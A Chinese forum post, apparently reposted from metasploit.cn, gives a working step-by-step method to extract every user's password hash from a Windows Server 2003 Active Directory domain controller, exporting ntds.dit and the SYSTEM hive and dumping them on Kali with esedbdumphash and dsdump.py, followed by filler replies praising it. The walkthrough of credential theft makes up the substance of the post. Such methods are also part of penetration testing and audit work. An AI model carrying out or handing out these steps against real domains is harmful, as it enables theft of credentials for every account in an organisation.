2003(32/64位)导出AD域控用户hash的终极方法

admin

一：

1，首先登陆域控提取ntds.dit，在2003命令行里输入c:\>ntbackup

使用备份向导（高级）选择只保存系统状态然后选择输出文件名(左下角选择导出指定文件夹）。

2，然后提取注册表cmd>reg save hklm\system system.hive

3， 把这两个文件下载到本地，然后放在虚拟机里面，我这里以kali为例演示（例虚拟机位置为/tmp/）

二：进入kali虚拟机，然后下载文件ntds_dump_hash.zip解压安装。

#cd libesedb

#./configure && make

修复数据库文件

#cd esedbtools

#./esedbdumphash -v -t /tmp/output /tmp/ntds.dit

#ls -1 /tmp/output.export/

导出数据库hash

#cd ../../creddump/

#chmod+x *.py

#./dsuserinfo.py /tmp/output.export/datatable

#./dsdump.py <SYSTEM file> /tmp/output.export/datatable -include-locked -include-disabled > /domain_hashes.txt

来自：http://www.metasploit.cn/

print"usage: %s <system hive> <datatable> [options]"% sys.argv[0]

   print"  options:"

   print"    --include-locked"

   print"    --include-disabled"

滴滴滴滴

知道了 不错~~~  

陈旭

这个贴不错！！！！！看了之后就要回复贴子，呵呵  

小熊猫的思念

这样的贴子，不顶说不过去啊  

可愛寶寶

希望可以用些时间了~````  

叶伟乐

真是佩服得六体投地啊  

加加减减

不管你信不信，反正我信  

丿_情缘烗

满城尽待年终奖，弄弄才是喇叭腔  

星辰宇

不要等到人人都说你丑时才发现自己真的丑。  

不愿孤独

(*^__^*) 嘻嘻……